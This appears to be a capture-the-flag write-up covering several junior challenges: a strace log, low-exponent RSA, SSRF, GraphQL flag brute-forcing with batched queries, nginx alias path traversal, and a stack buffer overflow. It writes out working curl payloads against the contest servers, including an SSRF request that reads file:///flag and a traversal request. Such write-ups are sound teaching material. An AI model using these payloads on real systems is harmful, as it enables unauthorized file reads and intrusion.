* Tracer (misc) We're given a strace log filtered to the =read=, =write= and =execve= syscalls. It's huge, after systematically combing through it for way too long, it appears to be the result of doing a system update, followed by editing a file with Vim. Each character typed into Vim is represented as a =write(0, ..., 1)= syscall. Extract these calls from the file, extract every typed character, type them into an empty Vim session and eventually you'll have typed the following flag: #+BEGIN_QUOTE junior-nanoiswayBETTER! #+END_QUOTE * small (crypto) This appears to be a classic RSA mistake, given the low exponent of 3 it's possible that encrypting the message does not wrap around the modulus, allowing recovering the message by performing an integer cube root. There's just one more problem, the message is not encoded the usual way. Another team member tried solving it for the case that the message does wrap around the modulus. Hours later we discovered the challenge description has been updated to point out the actual message representation, it's Base35. Running the result through an online decoder gives the following flag: #+BEGIN_QUOTE juniorissmallkuchenblech #+END_QUOTE * double (web) SSRF exercise where the code must be fooled into performing a request that will exfiltrate the flag. The check looks for the strings "http" and "kuchenblech" in the URL before performing the request with =urllib2.urlopen= and returning the bytes read. I've reproduced it locally and eventually made it fetch =file:///flag= by appending an URL-encoded ampersand to the URL, then the expected strings. This is a known problem in urllib2/3. Final request: #+BEGIN_SRC shell-script curl 'http://108.61.211.185/isup?name=file:///flag%23httpkuchenblech' # junior-double_or_noth1ng #+END_SRC * querying (web) The slowest GraphQL server in existence. After reading the manual a few times and experimenting on the playground, I eventually figure out a valid query except it fails with an error due to lacking configuration on the server side. This turns out to be unrelated, a far more interesting "mutation" can be called instead. The equivalent request is: #+BEGIN_SRC shell-script curl 'http://199.247.4.207:4000/' -H 'content-type: application/json' -H 'admin: 1' --data '{"operationName":null,"variables":{},"query":"mutation {\n checkFlag(flag: \"j\")\n}\n"}' # {"data":{"checkFlag":1}} #+END_SRC That mutation returns how long the correctly guessed flag prefix is. Unfortunately it takes up to a minute to return that information. I spent almost a day on slowly bruteforcing the flag up to =junior-Batching_Qu3r1e5_=, then it dawned on me there must be a different solution and looked up batching queries, finding https://ednsquare.com/story/improving-performance-with-batching-client-graphql-queries------XxKSNF. The adjusted query looks as follows in the playground: #+BEGIN_SRC mutation { a: checkFlag(flag: "junior-Batching_Qu3r1e5_a") b: checkFlag(flag: "junior-Batching_Qu3r1e5_b") c: checkFlag(flag: "junior-Batching_Qu3r1e5_c") d: checkFlag(flag: "junior-Batching_Qu3r1e5_d") e: checkFlag(flag: "junior-Batching_Qu3r1e5_e") f: checkFlag(flag: "junior-Batching_Qu3r1e5_f") g: checkFlag(flag: "junior-Batching_Qu3r1e5_g") h: checkFlag(flag: "junior-Batching_Qu3r1e5_h") i: checkFlag(flag: "junior-Batching_Qu3r1e5_i") j: checkFlag(flag: "junior-Batching_Qu3r1e5_j") k: checkFlag(flag: "junior-Batching_Qu3r1e5_k") l: checkFlag(flag: "junior-Batching_Qu3r1e5_l") m: checkFlag(flag: "junior-Batching_Qu3r1e5_m") n: checkFlag(flag: "junior-Batching_Qu3r1e5_n") o: checkFlag(flag: "junior-Batching_Qu3r1e5_o") p: checkFlag(flag: "junior-Batching_Qu3r1e5_p") q: checkFlag(flag: "junior-Batching_Qu3r1e5_q") r: checkFlag(flag: "junior-Batching_Qu3r1e5_r") s: checkFlag(flag: "junior-Batching_Qu3r1e5_s") t: checkFlag(flag: "junior-Batching_Qu3r1e5_t") u: checkFlag(flag: "junior-Batching_Qu3r1e5_u") v: checkFlag(flag: "junior-Batching_Qu3r1e5_v") w: checkFlag(flag: "junior-Batching_Qu3r1e5_w") x: checkFlag(flag: "junior-Batching_Qu3r1e5_x") y: checkFlag(flag: "junior-Batching_Qu3r1e5_y") z: checkFlag(flag: "junior-Batching_Qu3r1e5_z") A: checkFlag(flag: "junior-Batching_Qu3r1e5_A") B: checkFlag(flag: "junior-Batching_Qu3r1e5_B") C: checkFlag(flag: "junior-Batching_Qu3r1e5_C") D: checkFlag(flag: "junior-Batching_Qu3r1e5_D") E: checkFlag(flag: "junior-Batching_Qu3r1e5_E") F: checkFlag(flag: "junior-Batching_Qu3r1e5_F") G: checkFlag(flag: "junior-Batching_Qu3r1e5_G") H: checkFlag(flag: "junior-Batching_Qu3r1e5_H") I: checkFlag(flag: "junior-Batching_Qu3r1e5_I") J: checkFlag(flag: "junior-Batching_Qu3r1e5_J") K: checkFlag(flag: "junior-Batching_Qu3r1e5_K") L: checkFlag(flag: "junior-Batching_Qu3r1e5_L") M: checkFlag(flag: "junior-Batching_Qu3r1e5_M") N: checkFlag(flag: "junior-Batching_Qu3r1e5_N") O: checkFlag(flag: "junior-Batching_Qu3r1e5_O") P: checkFlag(flag: "junior-Batching_Qu3r1e5_P") Q: checkFlag(flag: "junior-Batching_Qu3r1e5_Q") R: checkFlag(flag: "junior-Batching_Qu3r1e5_R") S: checkFlag(flag: "junior-Batching_Qu3r1e5_S") T: checkFlag(flag: "junior-Batching_Qu3r1e5_T") U: checkFlag(flag: "junior-Batching_Qu3r1e5_U") V: checkFlag(flag: "junior-Batching_Qu3r1e5_V") W: checkFlag(flag: "junior-Batching_Qu3r1e5_W") X: checkFlag(flag: "junior-Batching_Qu3r1e5_X") Y: checkFlag(flag: "junior-Batching_Qu3r1e5_Y") Z: checkFlag(flag: "junior-Batching_Qu3r1e5_Z") _0: checkFlag(flag: "junior-Batching_Qu3r1e5_0") _1: checkFlag(flag: "junior-Batching_Qu3r1e5_1") _2: checkFlag(flag: "junior-Batching_Qu3r1e5_2") _3: checkFlag(flag: "junior-Batching_Qu3r1e5_3") _4: checkFlag(flag: "junior-Batching_Qu3r1e5_4") _5: checkFlag(flag: "junior-Batching_Qu3r1e5_5") _6: checkFlag(flag: "junior-Batching_Qu3r1e5_6") _7: checkFlag(flag: "junior-Batching_Qu3r1e5_7") _8: checkFlag(flag: "junior-Batching_Qu3r1e5_8") _9: checkFlag(flag: "junior-Batching_Qu3r1e5_9") _u: checkFlag(flag: "junior-Batching_Qu3r1e5__") _d: checkFlag(flag: "junior-Batching_Qu3r1e5_-") } #+END_SRC One of them will return a longer result than the rest, this makes guessing each character far faster. Flag: #+BEGIN_QUOTE junior-Batching_Qu3r1e5_is_FUN1 #+END_QUOTE * travel (web) This was a quick and painless one. The nginx config permits accessing the flag thanks to this misconfiguration: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/ #+BEGIN_SRC shell-script curl 'http://108.61.211.185:8081/flag../flag' # junior-the_easy_way_up #+END_SRC * SBOaaS (pwn) Another painless one. Using =cyclic= and =gdb= it's easy to find out the service accepts 1352 characters before interpreting the rest as a return address. The application happens to contain a shell spawning function at =0x40068b=. There is one more complication though, an amd64 executable uses wider addresses than an i386 one, the missing space is filled up with zeroes which would terminate a =strcpy= operation. This does not matter here though, it's sufficient to provide the non-zero parts in little-endian, then switch to interactive mode.